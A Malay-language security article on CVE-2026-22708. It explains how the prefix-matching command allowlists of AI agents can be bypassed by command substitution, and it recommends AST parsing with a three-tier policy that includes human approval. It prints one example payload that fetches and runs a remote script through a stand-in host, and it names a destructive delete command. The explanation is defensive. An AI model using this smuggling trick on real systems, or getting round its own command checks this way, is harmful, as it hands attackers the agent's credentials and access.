Kerentanan yang baru didedahkan, CVE-2026-22708, menunjukkan bahawa ejen AI yang bergantung pada senarai benar (allowlist) arahan yang ringkas boleh diperdaya untuk melaksanakan kod berniat jahat. Kelemahan ini membolehkan penyerang menyembunyikan muatan (payload) di dalam arahan yang kelihatan tidak berbahaya, memberikan ejen laluan terus untuk menjalankan skrip sewenang-wenangnya pada hos.

Kebanyakan pembantu dipacu AI yang mengautomasikan pembangunan atau operasi berfungsi dengan menyemak perkataan pertama sesuatu arahan terhadap senarai putih (whitelist). Jika perkataan tersebut sepadan dengan entri seperti git atau npm, permintaan tersebut akan diteruskan terus. "Padanan awalan" (prefix matching) ini menarik kerana ia mudah dilaksanakan dan kelihatan dapat menghalang ejen daripada menjalankan utiliti yang berbahaya.

Dalam praktiknya, pendekatan ini merupakan lubang keselamatan. Penyerang boleh menyertakan penggantian arahan (command substitution) atau ciri shell lain selepas perkataan yang dibenarkan, dan senarai putih tidak akan pernah mengesannya. Contoh klasik ialah:

git branch "$(curl evil.sh | sh)"

Senarai benar hanya melihat git dan meluluskan permintaan tersebut. Shell kemudian mengembangkan $(curl evil.sh | sh), memuat turun skrip dan menjalankannya dengan keistimewaan (privileges) ejen tersebut. Trik yang sama berfungsi dengan mana-mana binari dalam senarai putih yang menerima argumen yang ditafsirkan oleh shell.

Impaknya adalah teruk kerana ejen AI semakin dipercayai untuk mengendalikan persekitaran istimewa—paip integrasi berterusan (continuous-integration pipelines), kontena pembangunan hos awan, dan juga stesen kerja pengguna. Jika ejen boleh dipujuk untuk melaksanakan muatan, penyerang akan mendapat hak akses yang sama seperti yang dinikmati ejen, yang sering kali merangkumi kunci rahsia, kredensial penggunaan (deployment credentials), atau akses sistem fail tanpa sekatan.

Mengapa senarai benar yang ringkas gagal

  • Padanan rentetan, bukan polisi – Hanya menyemak token pertama mengabaikan struktur baris arahan. Ia tidak mempertimbangkan bagaimana argumen ditafsirkan atau sama ada ia mengandungi metakarakter shell.
  • Ciri shell adalah berkuasa – Penggantian, paip (pipelines), dan pengalihan (redirection) semuanya diproses selepas semakan senarai benar, menukarkan arahan yang kelihatan tidak berbahaya kepada eksploitasi penuh.
  • Tiada kesedaran konteks – Senarai putih tidak dapat membezakan antara git status yang selamat dan git push --force yang berbahaya yang boleh menulis semula sejarah pengeluaran (production history).

Model yang lebih berdaya tahan

Tindak balas komuniti terhadap CVE-2026-22708 adalah untuk beralih daripada semakan rentetan naif kepada menghuraikan (parsing) arahan ke dalam Abstract Syntax Tree (AST). AST mewakili struktur hierarki sesuatu arahan, memisahkan fail boleh laksana daripada argumennya dan sebarang binaan shell. Sebaik sahaja arahan dipecahkan, enjin polisi boleh menilai ia terhadap tiga kategori yang berbeza:

  • SELAMAT (SAFE) – Arahan yang sepadan dengan peraturan yang disahkan dan tidak mengandungi binaan berisiko. Ejen menjalankan ini secara automatik. Contoh: git status.
  • DIHALANG (BLOCKED) – Arahan yang sepadan dengan corak yang diketahui berbahaya, seperti arahan yang mengakses fail rahsia, memadam direktori, atau memanggil skrip istimewa. Ejen membatalkan ini dengan serta-merta. Contoh: rm -rf /.
  • TIDAK PASTI (UNCERTAIN) – Arahan yang tidak masuk secara jelas ke dalam kategori selamat atau dihalang. Ejen mesti meminta kelulusan manusia secara eksplisit sebelum meneruskan. Contoh: git push --force.

Pengenalan peringkat UNCERTAIN mengubah model ancaman. Daripada menganggap setiap arahan yang tidak dikenali sebagai kegagalan, sistem menukarkan ketidakpastian kepada interaksi yang terkawal. Satu cara praktikal untuk menguatkuasakan langkah kelulusan adalah dengan mengeluarkan token HMAC sekali guna yang mesti dikemukakan semula oleh pengguna kepada ejen. Oleh kerana token tersebut terikat secara kriptografi dengan permintaan, ejen tidak boleh memalsukan persetujuan.

Mengimbangi keselamatan dan kebolehgunaan

Pengkritik mungkin berhujah bahawa penghuraian AST menambah kependaman (latency) atau model tiga peringkat tersebut boleh membanjiri pengguna dengan permintaan kelulusan, sekali gus mengurangkan produktiviti. Kebimbangan tersebut adalah berasas: set peraturan yang tidak dilaraskan dengan baik boleh menghasilkan positif palsu (false positives), dan penghuraian yang kompleks boleh menjadi lebih berat dari segi pengkomputeran berbanding semakan rentetan yang ringkas. Walau bagaimanapun, alternatifnya—membenarkan pelaksanaan kod sewenang-wenangnya—adalah jauh lebih mahal. Pendekatan hibrid yang menggabungkan pengasingan (sandboxing) ringan dengan analisis AST boleh mengurangkan kesan prestasi sambil tetap menguatkuasakan polisi yang teguh.

Apa yang dipertaruhkan bagi pembangun dan perusahaan

  • Kerahsiaan data – Ejen yang terjejas boleh mengeksfiltrasi kunci API, kata laluan, dan kod proprietari.
  • Integriti sistem – Arahan berniat jahat boleh mengubah atau memadam artifak pengeluaran, membatalkan (roll back) pelepasan, atau memasang pintu belakang (backdoors).
  • Pendedahan kawal selia – Pelanggaran yang disebabkan oleh automasi yang tidak selamat boleh mencetuskan penalti pematuhan, terutamanya dalam sektor dengan peraturan pengendalian data yang ketat.

Projek yang mengabaikan risiko ini sering kali sama ada melumpuhkan ejen dengan peraturan yang terlalu menyekat atau membiarkannya terdedah kepada eksploitasi. Jalan tengah—dengan menetapkan kumpulan SAFE, BLOCKED, dan UNCERTAIN yang jelas—menyediakan laluan praktikal ke arah keselamatan dan kegunaan.

Apa yang perlu diperhatikan seterusnya

  • Tooling – Jangkakan perpustakaan sumber terbuka yang menyediakan parser berasaskan AST untuk shell biasa dan saluran paip binaan (build pipelines), bersama dengan templat polisi sedia ada.
  • Standards – Kumpulan industri mungkin mencadangkan set peraturan asas untuk arahan pembangunan tipikal, sama seperti bagaimana runtime kontena menyeragamkan profil seccomp.
  • Audits – Pasukan keselamatan berkemungkinan akan menambah “semakan kewarasan senarai benar” (allowlist sanity checks) ke dalam saluran paip audit CI/CD mereka, menandakan sebarang konfigurasi ejen yang hanya bergantung pada padanan awalan (prefix matching).

Rumusan

Jika ejen AI anda masih menentukan apa yang perlu dijalankan dengan hanya melihat perkataan pertama sesuatu arahan, ia terdedah kepada kerentanan yang ditunjukkan dalam CVE-2026-22708. Gantikan pendekatan tersebut dengan parsing dipacu AST dan polisi tiga peringkat yang mewajibkan pengesahan manusia untuk tindakan yang samar. Langkah tambahan ini mungkin terasa seperti gangguan, tetapi ia mengubah titik buta menjadi titik kawalan yang boleh disahkan, sekali gus melindungi kod dan infrastruktur anda.